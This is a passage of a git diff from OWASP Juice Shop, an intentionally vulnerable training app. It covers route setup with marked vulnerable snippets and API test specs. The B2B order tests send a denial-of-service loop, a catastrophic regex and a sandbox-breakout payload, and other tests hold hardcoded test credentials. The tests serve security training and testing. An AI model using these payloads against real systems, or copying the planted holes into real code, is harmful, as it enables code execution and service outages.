Response, context: { instance: any[], continue: any }) => { + for (let i = 0; i < context.instance.length; i++) { + context.instance[i].name = req.__(context.instance[i].name) + context.instance[i].description = req.__(context.instance[i].description) + } + return context.continue + }) + resource.read.send.before((req: Request, res: Response, context: { instance: { name: string, description: string }, continue: any }) => { + context.instance.name = req.__(context.instance.name) + context.instance.description = req.__(context.instance.description) + return context.continue + }) + } + + // fix the api difference between finale (fka epilogue) and previously used sequlize-restful + resource.all.send.before((req: Request, res: Response, context: { instance: { status: string, data: any }, continue: any }) => { + context.instance = { + status: 'success', + data: context.instance + } + return context.continue + }) + } + + /* Custom Restful API */ + app.post('/rest/user/login', login()) + app.get('/rest/user/change-password', changePassword()) + app.post('/rest/user/reset-password', resetPassword()) + app.get('/rest/user/security-question', securityQuestion()) + app.get('/rest/user/whoami', security.updateAuthenticatedUsers(), currentUser()) + app.get('/rest/user/authentication-details', authenticatedUsers()) + app.get('/rest/products/search', search()) + app.get('/rest/basket/:id', basket()) + app.post('/rest/basket/:id/checkout', order()) + app.put('/rest/basket/:id/coupon/:coupon', coupon()) + app.get('/rest/admin/application-version', appVersion()) + app.get('/rest/admin/application-configuration', appConfiguration()) + app.get('/rest/repeat-notification', repeatNotification()) + app.get('/rest/continue-code', continueCode.continueCode()) + app.get('/rest/continue-code-findIt', continueCode.continueCodeFindIt()) + app.get('/rest/continue-code-fixIt', continueCode.continueCodeFixIt()) + app.put('/rest/continue-code-findIt/apply/:continueCode', restoreProgress.restoreProgressFindIt()) + app.put('/rest/continue-code-fixIt/apply/:continueCode', restoreProgress.restoreProgressFixIt()) + app.put('/rest/continue-code/apply/:continueCode', restoreProgress.restoreProgress()) + app.get('/rest/admin/application-version', appVersion()) + app.get('/rest/captcha', captcha()) + app.get('/rest/image-captcha', imageCaptcha()) + app.get('/rest/track-order/:id', trackOrder()) + app.get('/rest/country-mapping', countryMapping()) + app.get('/rest/saveLoginIp', saveLoginIp()) + app.post('/rest/user/data-export', security.appendUserId(), imageCaptcha.verifyCaptcha()) + app.post('/rest/user/data-export', security.appendUserId(), dataExport()) + app.get('/rest/languages', languageList()) + app.get('/rest/order-history', orderHistory.orderHistory()) + app.get('/rest/order-history/orders', security.isAccounting(), orderHistory.allOrders()) + app.put('/rest/order-history/:id/delivery-status', security.isAccounting(), orderHistory.toggleDeliveryStatus()) + app.get('/rest/wallet/balance', security.appendUserId(), wallet.getWalletBalance()) + app.put('/rest/wallet/balance', security.appendUserId(), wallet.addWalletBalance()) + app.get('/rest/deluxe-membership', deluxe.deluxeMembershipStatus()) + app.post('/rest/deluxe-membership', security.appendUserId(), deluxe.upgradeToDeluxe()) + app.get('/rest/memories', memory.getMemories()) + app.get('/rest/chatbot/status', chatbot.status()) + app.post('/rest/chatbot/respond', chatbot.process()) + /* NoSQL API endpoints */ + app.get('/rest/products/:id/reviews', showProductReviews()) + app.put('/rest/products/:id/reviews', createProductReviews()) + app.patch('/rest/products/reviews', security.isAuthorized(), updateProductReviews()) + app.post('/rest/products/reviews', security.isAuthorized(), likeProductReviews()) + + /* B2B Order API */ + app.post('/b2b/v2/orders', b2bOrder()) + + /* File Serving */ + app.get('/the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg', easterEgg()) + app.get('/this/page/is/hidden/behind/an/incredibly/high/paywall/that/could/only/be/unlocked/by/sending/1btc/to/us', premiumReward()) + app.get('/we/may/also/instruct/you/to/refuse/all/reasonably/necessary/responsibility', privacyPolicyProof()) + + /* Route for dataerasure page */ + app.use('/dataerasure', dataErasure) + + /* Route for redirects */ + app.get('/redirect', redirect()) + + /* Routes for promotion video page */ + app.get('/promotion', videoHandler.promotionVideo()) + app.get('/video', videoHandler.getVideo()) + + /* Routes for profile page */ + app.get('/profile', security.updateAuthenticatedUsers(), userProfile()) + app.post('/profile', updateUserProfile()) + + /* Route for vulnerable code snippets */ + app.get('/snippets', vulnCodeSnippet.serveChallengesWithCodeSnippet()) + app.get('/snippets/:challenge', vulnCodeSnippet.serveCodeSnippet()) + app.post('/snippets/verdict', vulnCodeSnippet.checkVulnLines()) + app.get('/snippets/fixes/:key', vulnCodeFixes.serveCodeFixes()) + app.post('/snippets/fixes', vulnCodeFixes.checkCorrectFix()) + + app.use(angular()) + + /* Error Handling */ + app.use(verify.errorHandlingChallenge()) + app.use(errorhandler()) +}).catch((err) => { + console.error(err) +}) + +const multer = require('multer') +const uploadToMemory = multer({ storage: multer.memoryStorage(), limits: { fileSize: 200000 } }) +const mimeTypeMap: any = { + 'image/png': 'png', + 'image/jpeg': 'jpg', + 'image/jpg': 'jpg' +} +const uploadToDisk = multer({ + storage: multer.diskStorage({ + destination: (req: Request, file: any, cb: Function) => { + const isValid = mimeTypeMap[file.mimetype] + let error: Error | null = new Error('Invalid mime type') + if (isValid) { + error = null + } + cb(error, path.resolve('frontend/dist/frontend/assets/public/images/uploads/')) + }, + filename: (req: Request, file: any, cb: Function) => { + const name = security.sanitizeFilename(file.originalname) + .toLowerCase() + .split(' ') + .join('-') + const ext = mimeTypeMap[file.mimetype] + cb(null, name + '-' + Date.now() + '.' + ext) + } + }) +}) + +const expectedModels = ['Address', 'Basket', 'BasketItem', 'Captcha', 'Card', 'Challenge', 'Complaint', 'Delivery', 'Feedback', 'ImageCaptcha', 'Memory', 'PrivacyRequestModel', 'Product', 'Quantity', 'Recycle', 'SecurityAnswer', 'SecurityQuestion', 'User', 'Wallet'] +while (!expectedModels.every(model => Object.keys(sequelize.models).includes(model))) { + logger.info(`Entity models ${colors.bold(Object.keys(sequelize.models).length)} of ${colors.bold(expectedModels.length)} are initialized (${colors.yellow('WAITING')})`) +} +logger.info(`Entity models ${colors.bold(Object.keys(sequelize.models).length)} of ${colors.bold(expectedModels.length)} are initialized (${colors.green('OK')})`) + +// vuln-code-snippet start exposedMetricsChallenge +/* Serve metrics */ +let metricsUpdateLoop +const Metrics = metrics.observeMetrics() // vuln-code-snippet neutral-line exposedMetricsChallenge +const customizeEasterEgg = require('./lib/startup/customizeEasterEgg') // vuln-code-snippet hide-line +app.get('/metrics', metrics.serveMetrics()) // vuln-code-snippet vuln-line exposedMetricsChallenge +errorhandler.title = `${config.get('application.name')} (Express ${utils.version('express')})` + +const registerWebsocketEvents = require('./lib/startup/registerWebsocketEvents') +const customizeApplication = require('./lib/startup/customizeApplication') + +export async function start (readyCallback: Function) { + const datacreatorEnd = startupGauge.startTimer({ task: 'datacreator' }) + await sequelize.sync({ force: true }) + await datacreator() + datacreatorEnd() + const port = process.env.PORT ?? config.get('server.port') + process.env.BASE_PATH = process.env.BASE_PATH ?? config.get('server.basePath') + + metricsUpdateLoop = Metrics.updateLoop() // vuln-code-snippet neutral-line exposedMetricsChallenge + + server.listen(port, () => { + logger.info(colors.cyan(`Server listening on port ${colors.bold(port)}`)) + startupGauge.set({ task: 'ready' }, (Date.now() - startTime) / 1000) + if (process.env.BASE_PATH !== '') { + logger.info(colors.cyan(`Server using proxy base path ${colors.bold(process.env.BASE_PATH)} for redirects`)) + } + registerWebsocketEvents(server) + if (readyCallback) { + readyCallback() + } + }) + + void collectDurationPromise('customizeApplication', customizeApplication)() // vuln-code-snippet hide-line + void collectDurationPromise('customizeEasterEgg', customizeEasterEgg)() // vuln-code-snippet hide-line +} + +export function close (exitCode: number | undefined) { + if (server) { + clearInterval(metricsUpdateLoop) + server.close() + } + if (exitCode !== undefined) { + process.exit(exitCode) + } +} +// vuln-code-snippet end exposedMetricsChallenge + +// stop server on sigint or sigterm signals +process.on('SIGINT', () => close(0)) +process.on('SIGTERM', () => close(0)) diff --git a/swagger.yml b/swagger.yml index e8fd0753478..50b1544683d 100644 --- a/swagger.yml +++ b/swagger.yml @@ -9,6 +9,8 @@ info: license: name: MIT url: 'https://opensource.org/licenses/MIT' + contact: + name: B2B API Support tags: - name: Order @@ -16,6 +18,7 @@ tags: paths: /orders: post: + operationId: createCustomerOrder tags: [Order] description: 'Create new customer order' responses: { '200': { description: 'New customer order is created', content: { application/json: { schema: { $ref: '#/components/schemas/OrderConfirmation' } } } } } @@ -32,7 +35,7 @@ components: properties: { cid: { type: string, uniqueItems: true, example: JS0815DE }, orderLines: { $ref: '#/components/schemas/OrderLines' }, orderLinesData: { $ref: '#/components/schemas/OrderLinesData' } } OrderConfirmation: required: [cid, orderNo, paymentDue] - properties: { cid: { type: string, uniqueItems: true, example: JS0815DE }, orderNo: { type: string, uniqueItems: true, example: 3d06ac5e1bdf39d26392f8100f124742 }, paymentDue: { description: 'All payments are due 14 days after order placement', type: string, format: date, example: '2018-01-19T07:02:06.800Z' } } + properties: { cid: { type: string, uniqueItems: true, example: JS0815DE }, orderNo: { type: string, uniqueItems: true, example: 3d06ac5e1bdf39d26392f8100f124742 }, paymentDue: { description: 'All payments are due 14 days after order placement', type: string, format: date, example: '2018-01-19' } } OrderLine: description: 'Order line in default JSON format' required: [productId, quantity] diff --git a/test/api/2faSpec.ts b/test/api/2faSpec.ts new file mode 100644 index 00000000000..f58bd299c4d --- /dev/null +++ b/test/api/2faSpec.ts @@ -0,0 +1,464 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import frisby = require('frisby') +import config = require('config') +const Joi = frisby.Joi +const security = require('../../lib/insecurity') + +const otplib = require('otplib') +const jwt = require('jsonwebtoken') + +const REST_URL = 'http://localhost:3000/rest' +const API_URL = 'http://localhost:3000/api' + +const jsonHeader = { 'content-type': 'application/json' } + +async function login ({ email, password, totpSecret }: { email: string, password: string, totpSecret?: string }) { + // @ts-expect-error + const loginRes = await frisby + .post(REST_URL + '/user/login', { + email, + password + }).catch((res: any) => { + if (res.json?.type && res.json.status === 'totp_token_required') { + return res + } + throw new Error(`Failed to login '${email}'`) + }) + + if (loginRes.json.status && loginRes.json.status === 'totp_token_required') { + // @ts-expect-error + const totpRes = await frisby + .post(REST_URL + '/2fa/verify', { + tmpToken: loginRes.json.data.tmpToken, + totpToken: otplib.authenticator.generate(totpSecret) + }) + + return totpRes.json.authentication + } + + return loginRes.json.authentication +} + +async function register ({ email, password, totpSecret }: { email: string, password: string, totpSecret?: string }) { + // @ts-expect-error + const res = await frisby + .post(API_URL + '/Users/', { + email, + password, + passwordRepeat: password, + securityQuestion: null, + securityAnswer: null + }).catch(() => { + throw new Error(`Failed to register '${email}'`) + }) + + if (totpSecret) { + const { token } = await login({ email, password }) + + // @ts-expect-error + await frisby.post( + REST_URL + '/2fa/setup', + { + headers: { + Authorization: 'Bearer ' + token, + 'content-type': 'application/json' + }, + body: { + password, + setupToken: security.authorize({ + secret: totpSecret, + type: 'totp_setup_secret' + }), + initialToken: otplib.authenticator.generate(totpSecret) + } + }).expect('status', 200).catch(() => { + throw new Error(`Failed to enable 2fa for user: '${email}'`) + }) + } + + return res +} + +function getStatus (token: string) { + return frisby.get( + REST_URL + '/2fa/status', + { + headers: { + Authorization: 'Bearer ' + token, + 'content-type': 'application/json' + } + }) +} + +describe('/rest/2fa/verify', () => { + it('POST should return a valid authentication when a valid tmp token is passed', async () => { + const tmpTokenWurstbrot = security.authorize({ + userId: 10, + type: 'password_valid_needs_second_factor_token' + }) + + const totpToken = otplib.authenticator.generate('IFTXE3SPOEYVURT2MRYGI52TKJ4HC3KH') + + // @ts-expect-error + await frisby.post(REST_URL + '/2fa/verify', { + headers: jsonHeader, + body: { + tmpToken: tmpTokenWurstbrot, + totpToken + } + }) + .expect('status', 200) + .expect('header', 'content-type', /application\/json/) + .expect('jsonTypes', 'authentication', { + token: Joi.string(), + umail: Joi.string(), + bid: Joi.number() + }) + .expect('json', 'authentication', { + umail: `wurstbrot@${config.get('application.domain')}` + }) + }) + + it('POST should fail if a invalid totp token is used', async () => { + const tmpTokenWurstbrot = security.authorize({ + userId: 10, + type: 'password_valid_needs_second_factor_token' + }) + + const totpToken = otplib.authenticator.generate('THIS9ISNT8THE8RIGHT8SECRET') + + // @ts-expect-error + await frisby.post(REST_URL + '/2fa/verify', { + headers: jsonHeader, + body: { + tmpToken: tmpTokenWurstbrot, + totpToken + } + }) + .expect('status', 401) + }) + + it('POST should fail if a unsigned tmp token is used', async () => { + const tmpTokenWurstbrot = jwt.sign({ + userId: 10, + type: 'password_valid_needs_second_factor_token' + }, 'this_surly_isnt_the_right_key') + + const totpToken = otplib.authenticator.generate('IFTXE3SPOEYVURT2MRYGI52TKJ4HC3KH') + + // @ts-expect-error + await frisby.post(REST_URL + '/2fa/verify', { + headers: jsonHeader, + body: { + tmpToken: tmpTokenWurstbrot, + totpToken + } + }) + .expect('status', 401) + }) +}) + +describe('/rest/2fa/status', () => { + it('GET should indicate 2fa is setup for 2fa enabled users', async () => { + const { token } = await login({ + email: `wurstbrot@${config.get('application.domain')}`, + password: 'EinBelegtesBrotMitSchinkenSCHINKEN!', + totpSecret: 'IFTXE3SPOEYVURT2MRYGI52TKJ4HC3KH' + }) + + // @ts-expect-error + await frisby.get( + REST_URL + '/2fa/status', + { + headers: { + Authorization: 'Bearer ' + token, + 'content-type': 'application/json' + } + }) + .expect('status', 200) + .expect('header', 'content-type', /application\/json/) + .expect('jsonTypes', { + setup: Joi.boolean() + }) + .expect('json', { + setup: true + }) + }) + + it('GET should indicate 2fa is not setup for users with 2fa disabled', async () => { + const { token } = await login({ + email: `J12934@${config.get('application.domain')}`, + password: '0Y8rMnww$*9VFYE§59-!Fg1L6t&6lB' + }) + + // @ts-expect-error + await frisby.get( + REST_URL + '/2fa/status', + { + headers: { + Authorization: 'Bearer ' + token, + 'content-type': 'application/json' + } + }) + .expect('status', 200) + .expect('header', 'content-type', /application\/json/) + .expect('jsonTypes', { + setup: Joi.boolean(), + secret: Joi.string(), + email: Joi.string(), + setupToken: Joi.string() + }) + .expect('json', { + setup: false, + email: `J12934@${config.get('application.domain')}` + }) + }) + + it('GET should return 401 when not logged in', async () => { + // @ts-expect-error + await frisby.get(REST_URL + '/2fa/status') + .expect('status', 401) + }) +}) + +describe('/rest/2fa/setup', () => { + it('POST should be able to setup 2fa for accounts without 2fa enabled', async () => { + const email = 'fooooo1@bar.com' + const password = '123456' + + const secret = 'ASDVAJSDUASZGDIADBJS' + + await register({ email, password }) + const { token } = await login({ email, password }) + + // @ts-expect-error + await frisby.post( + REST_URL + '/2fa/setup', + { + headers: { + Authorization: 'Bearer ' + token, + 'content-type': 'application/json' + }, + body: { + password, + setupToken: security.authorize({ + secret, + type: 'totp_setup_secret' + }), + initialToken: otplib.authenticator.generate(secret) + } + }) + .expect('status', 200) + + // @ts-expect-error + await frisby.get( + REST_URL + '/2fa/status', + { + headers: { + Authorization: 'Bearer ' + token, + 'content-type': 'application/json' + } + }) + .expect('status', 200) + .expect('jsonTypes', { + setup: Joi.boolean() + }) + .expect('json', { + setup: true + }) + }) + + it('POST should fail if the password doesnt match', async () => { + const email = 'fooooo2@bar.com' + const password = '123456' + + const secret = 'ASDVAJSDUASZGDIADBJS' + + await register({ email, password }) + const { token } = await login({ email, password }) + + // @ts-expect-error + await frisby.post( + REST_URL + '/2fa/setup', + { + headers: { + Authorization: 'Bearer ' + token, + 'content-type': 'application/json' + }, + body: { + password: password + ' this makes the password wrong', + setupToken: security.authorize({ + secret, + type: 'totp_setup_secret' + }), + initialToken: otplib.authenticator.generate(secret) + } + }) + .expect('status', 401) + }) + + it('POST should fail if the inital token is incorrect', async () => { + const email = 'fooooo3@bar.com' + const password = '123456' + + const secret = 'ASDVAJSDUASZGDIADBJS' + + await register({ email, password }) + const { token } = await login({ email, password }) + + // @ts-expect-error + await frisby.post( + REST_URL + '/2fa/setup', + { + headers: { + Authorization: 'Bearer ' + token, + 'content-type': 'application/json' + }, + body: { + password: password, + setupToken: security.authorize({ + secret, + type: 'totp_setup_secret' + }), + initialToken: otplib.authenticator.generate(secret + 'ASJDVASGDKASVDUAGS') + } + }) + .expect('status', 401) + }) + + it('POST should fail if the token is of the wrong type', async () => { + const email = 'fooooo4@bar.com' + const password = '123456' + + const secret = 'ASDVAJSDUASZGDIADBJS' + + await register({ email, password }) + const { token } = await login({ email, password }) + + // @ts-expect-error + await frisby.post( + REST_URL + '/2fa/setup', + { + headers: { + Authorization: 'Bearer ' + token, + 'content-type': 'application/json' + }, + body: { + password, + setupToken: security.authorize({ + secret, + type: 'totp_setup_secret_foobar' + }), + initialToken: otplib.authenticator.generate(secret) + } + }) + .expect('status', 401) + }) + + it('POST should fail if the account has already set up 2fa', async () => { + const email = `wurstbrot@${config.get('application.domain')}` + const password = 'EinBelegtesBrotMitSchinkenSCHINKEN!' + const totpSecret = 'IFTXE3SPOEYVURT2MRYGI52TKJ4HC3KH' + + const { token } = await login({ email, password, totpSecret }) + + // @ts-expect-error + await frisby.post( + REST_URL + '/2fa/setup', + { + headers: { + Authorization: 'Bearer ' + token, + 'content-type': 'application/json' + }, + body: { + password, + setupToken: security.authorize({ + secret: totpSecret, + type: 'totp_setup_secret' + }), + initialToken: otplib.authenticator.generate(totpSecret) + } + }) + .expect('status', 401) + }) +}) + +describe('/rest/2fa/disable', () => { + it('POST should be able to disable 2fa for account with 2fa enabled', async () => { + const email = 'fooooodisable1@bar.com' + const password = '123456' + const totpSecret = 'ASDVAJSDUASZGDIADBJS' + + await register({ email, password, totpSecret }) + const { token } = await login({ email, password, totpSecret }) + + // @ts-expect-error + await getStatus(token) + .expect('status', 200) + .expect('json', { + setup: true + }) + + // @ts-expect-error + await frisby.post( + REST_URL + '/2fa/disable', + { + headers: { + Authorization: 'Bearer ' + token, + 'content-type': 'application/json' + }, + body: { + password + } + } + ).expect('status', 200) + + // @ts-expect-error + await getStatus(token) + .expect('status', 200) + .expect('json', { + setup: false + }) + }) + + it('POST should not be possible to disable 2fa without the correct password', async () => { + const email = 'fooooodisable1@bar.com' + const password = '123456' + const totpSecret = 'ASDVAJSDUASZGDIADBJS' + + await register({ email, password, totpSecret }) + const { token } = await login({ email, password, totpSecret }) + + // @ts-expect-error + await getStatus(token) + .expect('status', 200) + .expect('json', { + setup: true + }) + + // @ts-expect-error + await frisby.post( + REST_URL + '/2fa/disable', + { + headers: { + Authorization: 'Bearer ' + token, + 'content-type': 'application/json' + }, + body: { + password: password + ' this makes the password wrong' + } + } + ).expect('status', 401) + + // @ts-expect-error + await getStatus(token) + .expect('status', 200) + .expect('json', { + setup: true + }) + }) +}) diff --git a/test/api/addressApiSpec.ts b/test/api/addressApiSpec.ts new file mode 100644 index 00000000000..dfbba901ab1 --- /dev/null +++ b/test/api/addressApiSpec.ts @@ -0,0 +1,179 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import frisby = require('frisby') + +const API_URL = 'http://localhost:3000/api' +const REST_URL = 'http://localhost:3000/rest' + +const jsonHeader = { 'content-type': 'application/json' } +let authHeader: { Authorization: string, 'content-type': string } +let addressId: string + +beforeAll(() => { + return frisby.post(REST_URL + '/user/login', { + headers: jsonHeader, + body: { + email: 'jim@juice-sh.op', + password: 'ncc-1701' + } + }) + .expect('status', 200) + .then(({ json }) => { + authHeader = { Authorization: 'Bearer ' + json.authentication.token, 'content-type': 'application/json' } + }) +}) + +describe('/api/Addresss', () => { + it('GET all addresses is forbidden via public API', () => { + return frisby.get(API_URL + '/Addresss') + .expect('status', 401) + }) + + it('GET all addresses', () => { + return frisby.get(API_URL + '/Addresss', { headers: authHeader }) + .expect('status', 200) + }) + + it('POST new address with all valid fields', () => { + return frisby.post(API_URL + '/Addresss', { + headers: authHeader, + body: { + fullName: 'Jim', + mobileNum: '9800000000', + zipCode: 'NX 101', + streetAddress: 'Bakers Street', + city: 'NYC', + state: 'NY', + country: 'USA' + } + }) + .expect('status', 201) + }) + + it('POST new address with invalid pin code', () => { + return frisby.post(API_URL + '/Addresss', { + headers: authHeader, + body: { + fullName: 'Jim', + mobileNum: '9800000000', + zipCode: 'NX 10111111', + streetAddress: 'Bakers Street', + city: 'NYC', + state: 'NY', + country: 'USA' + } + }) + .expect('status', 400) + }) + + it('POST new address with invalid mobile number', () => { + return frisby.post(API_URL + '/Addresss', { + headers: authHeader, + body: { + fullName: 'Jim', + mobileNum: '10000000000', + zipCode: 'NX 101', + streetAddress: 'Bakers Street', + city: 'NYC', + state: 'NY', + country: 'USA' + } + }) + .expect('status', 400) + }) + + it('POST new address is forbidden via public API', () => { + return frisby.post(API_URL + '/Addresss', { + fullName: 'Jim', + mobileNum: '9800000000', + zipCode: 'NX 10111111', + streetAddress: 'Bakers Street', + city: 'NYC', + state: 'NY', + country: 'USA' + }) + .expect('status', 401) + }) +}) + +describe('/api/Addresss/:id', () => { + beforeAll(() => { + return frisby.post(API_URL + '/Addresss', { + headers: authHeader, + body: { + fullName: 'Jim', + mobileNum: '9800000000', + zipCode: 'NX 101', + streetAddress: 'Bakers Street', + city: 'NYC', + state: 'NY', + country: 'USA' + } + }) + .expect('status', 201) + .then(({ json }) => { + addressId = json.data.id + }) + }) + + it('GET address by id is forbidden via public API', () => { + return frisby.get(API_URL + '/Addresss/' + addressId) + .expect('status', 401) + }) + + it('PUT update address is forbidden via public API', () => { + return frisby.put(API_URL + '/Addresss/' + addressId, { + quantity: 2 + }, { json: true }) + .expect('status', 401) + }) + + it('DELETE address by id is forbidden via public API', () => { + return frisby.del(API_URL + '/Addresss/' + addressId) + .expect('status', 401) + }) + + it('GET address by id', () => { + return frisby.get(API_URL + '/Addresss/' + addressId, { headers: authHeader }) + .expect('status', 200) + }) + + it('PUT update address by id', () => { + return frisby.put(API_URL + '/Addresss/' + addressId, { + headers: authHeader, + body: { + fullName: 'Jimy' + } + }, { json: true }) + .expect('status', 200) + .expect('json', 'data', { fullName: 'Jimy' }) + }) + + it('PUT update address by id with invalid mobile number is forbidden', () => { + return frisby.put(API_URL + '/Addresss/' + addressId, { + headers: authHeader, + body: { + mobileNum: '10000000000' + } + }, { json: true }) + .expect('status', 400) + }) + + it('PUT update address by id with invalid pin code is forbidden', () => { + return frisby.put(API_URL + '/Addresss/' + addressId, { + headers: authHeader, + body: { + zipCode: 'NX 10111111' + } + }, { json: true }) + .expect('status', 400) + }) + + it('DELETE address by id', () => { + return frisby.del(API_URL + '/Addresss/' + addressId, { headers: authHeader }) + .expect('status', 200) + }) +}) diff --git a/test/api/administrationApiSpec.js b/test/api/administrationApiSpec.ts similarity index 83% rename from test/api/administrationApiSpec.js rename to test/api/administrationApiSpec.ts index eb6bccbc453..931316b5747 100644 --- a/test/api/administrationApiSpec.js +++ b/test/api/administrationApiSpec.ts @@ -1,4 +1,9 @@ -const frisby = require('frisby') +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import frisby = require('frisby') const Joi = frisby.Joi const utils = require('../../lib/utils') diff --git a/test/api/angularDistSpec.js b/test/api/angularDistSpec.js deleted file mode 100644 index ce425fc4bad..00000000000 --- a/test/api/angularDistSpec.js +++ /dev/null @@ -1,17 +0,0 @@ -const frisby = require('frisby') - -const URL = 'http://localhost:3000' - -describe('/api', () => { - it('GET main.js contains Gratipay URL', () => { - return frisby.get(URL + '/main.js') - .expect('status', 200) - .expect('bodyContains', '/redirect?to=https://gratipay.com/juice-shop') - }) - - it('GET main.js contains password hint for support team', () => { - return frisby.get(URL + '/main.js') - .expect('status', 200) - .expect('bodyContains', '@echipa de suport: Secretul nostru comun este \\xeenc\\u0103 Caoimhe cu parola de master gol!') - }) -}) diff --git a/test/api/angularDistSpec.ts b/test/api/angularDistSpec.ts new file mode 100644 index 00000000000..d492ac88035 --- /dev/null +++ b/test/api/angularDistSpec.ts @@ -0,0 +1,24 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import frisby = require('frisby') + +const URL = 'http://localhost:3000' + +describe('/api', () => { + it('GET main.js contains Cryptocurrency URLs', () => { + return frisby.get(URL + '/main.js') + .expect('status', 200) + .expect('bodyContains', '/redirect?to=https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm') + .expect('bodyContains', '/redirect?to=https://explorer.dash.org/address/Xr556RzuwX6hg5EGpkybbv5RanJoZN17kW') + .expect('bodyContains', '/redirect?to=https://etherscan.io/address/0x0f933ab9fcaaa782d0279c300d73750e1311eae6') + }) + + it('GET main.js contains password hint for support team', () => { + return frisby.get(URL + '/main.js') + .expect('status', 200) + .expect('bodyContains', 'Parola echipei de asisten\\u021b\\u0103 nu respect\\u0103 politica corporativ\\u0103 pentru conturile privilegiate! V\\u0103 rug\\u0103m s\\u0103 schimba\\u021bi parola \\xeen consecin\\u021b\\u0103!') + }) +}) diff --git a/test/api/apiSpec.js b/test/api/apiSpec.ts similarity index 76% rename from test/api/apiSpec.js rename to test/api/apiSpec.ts index 7d7d7d65e70..263cc6abde1 100644 --- a/test/api/apiSpec.js +++ b/test/api/apiSpec.ts @@ -1,5 +1,10 @@ -const frisby = require('frisby') -const config = require('config') +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import frisby = require('frisby') +import config = require('config') const API_URL = 'http://localhost:3000/api' const REST_URL = 'http://localhost:3000/rest' diff --git a/test/api/b2bOrderSpec.js b/test/api/b2bOrderSpec.js deleted file mode 100644 index f05b85901aa..00000000000 --- a/test/api/b2bOrderSpec.js +++ /dev/null @@ -1,75 +0,0 @@ -const frisby = require('frisby') -const Joi = frisby.Joi -const insecurity = require('../../lib/insecurity') - -const API_URL = 'http://localhost:3000/b2b/v2/orders' - -const authHeader = { 'Authorization': 'Bearer ' + insecurity.authorize(), 'content-type': 'application/json' } - -describe('/b2b/v2/orders', () => { - it('POST endless loop exploit in "orderLinesData" will raise explicit error', () => { - return frisby.post(API_URL, { - headers: authHeader, - body: { - orderLinesData: '(function dos() { while(true); })()' - } - }) - .expect('status', 500) - .expect('bodyContains', 'Infinite loop detected - reached max iterations') - }) - - it('POST busy spinning regex attack does not raise an error', () => { - return frisby.post(API_URL, { - headers: authHeader, - body: { - orderLinesData: '/((a+)+)b/.test("aaaaaaaaaaaaaaaaaaaaaaaaaaaaa")' - } - }) - .expect('status', 503) - }) - - it('POST sandbox breakout attack in "orderLinesData" will raise error', () => { - return frisby.post(API_URL, { - headers: authHeader, - body: { - orderLinesData: 'this.constructor.constructor("return process")().exit()' - } - }) - .expect('status', 500) - }) - - it('POST new B2B order is forbidden without authorization token', () => { - return frisby.post(API_URL, {}) - .expect('status', 401) - }) - - it('POST new B2B order accepts arbitrary valid JSON', () => { - return frisby.post(API_URL, { - headers: authHeader, - body: { - foo: 'bar', - test: 42 - } - }) - .expect('status', 200) - .expect('header', 'content-type', /application\/json/) - .expect('jsonTypes', { - cid: Joi.string(), - orderNo: Joi.string(), - paymentDue: Joi.string() - }) - }) - - it('POST new B2B order has passed "cid" in response', () => { - return frisby.post(API_URL, { - headers: authHeader, - body: { - cid: 'test' - } - }) - .expect('status', 200) - .expect('json', { - cid: 'test' - }) - }) -}) diff --git a/test/api/b2bOrderSpec.ts b/test/api/b2bOrderSpec.ts new file mode 100644 index 00000000000..1951513dcdb --- /dev/null +++ b/test/api/b2bOrderSpec.ts @@ -0,0 +1,83 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import frisby = require('frisby') +const Joi = frisby.Joi +const utils = require('../../lib/utils') +const security = require('../../lib/insecurity') + +const API_URL = 'http://localhost:3000/b2b/v2/orders' + +const authHeader = { Authorization: 'Bearer ' + security.authorize(), 'content-type': 'application/json' } + +describe('/b2b/v2/orders', () => { + if (!utils.disableOnContainerEnv()) { + it('POST endless loop exploit in "orderLinesData" will raise explicit error', () => { + return frisby.post(API_URL, { + headers: authHeader, + body: { + orderLinesData: '(function dos() { while(true); })()' + } + }) + .expect('status', 500) + .expect('bodyContains', 'Infinite loop detected - reached max iterations') + }) + + it('POST busy spinning regex attack does not raise an error', () => { + return frisby.post(API_URL, { + headers: authHeader, + body: { + orderLinesData: '/((a+)+)b/.test("aaaaaaaaaaaaaaaaaaaaaaaaaaaaa")' + } + }) + .expect('status', 503) + }) + + it('POST sandbox breakout attack in "orderLinesData" will raise error', () => { + return frisby.post(API_URL, { + headers: authHeader, + body: { + orderLinesData: 'this.constructor.constructor("return process")().exit()' + } + }) + .expect('status', 500) + }) + } + + it('POST new B2B order is forbidden without authorization token', () => { + return frisby.post(API_URL, {}) + .expect('status', 401) + }) + + it('POST new B2B order accepts arbitrary valid JSON', () => { + return frisby.post(API_URL, { + headers: authHeader, + body: { + foo: 'bar', + test: 42 + } + }) + .expect('status', 200) + .expect('header', 'content-type', /application\/json/) + .expect('jsonTypes', { + cid: Joi.string(), + orderNo: Joi.string(), + paymentDue: Joi.string() + }) + }) + + it('POST new B2B order has passed "cid" in response', () => { + return frisby.post(API_URL, { + headers: authHeader, + body: { + cid: 'test' + } + }) + .expect('status', 200) + .expect('json', { + cid: 'test' + }) + }) +}) diff --git a/test/api/basketApiSpec.js b/test/api/basketApiSpec.ts similarity index 78% rename from test/api/basketApiSpec.js rename to test/api/basketApiSpec.ts index 3c3b3cc02fe..542bb69e790 100644 --- a/test/api/basketApiSpec.js +++ b/test/api/basketApiSpec.ts @@ -1,15 +1,34 @@ -const frisby = require('frisby') -const insecurity = require('../../lib/insecurity') +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import frisby = require('frisby') +const security = require('../../lib/insecurity') const API_URL = 'http://localhost:3000/api' const REST_URL = 'http://localhost:3000/rest' -const authHeader = { 'Authorization': 'Bearer ' + insecurity.authorize(), 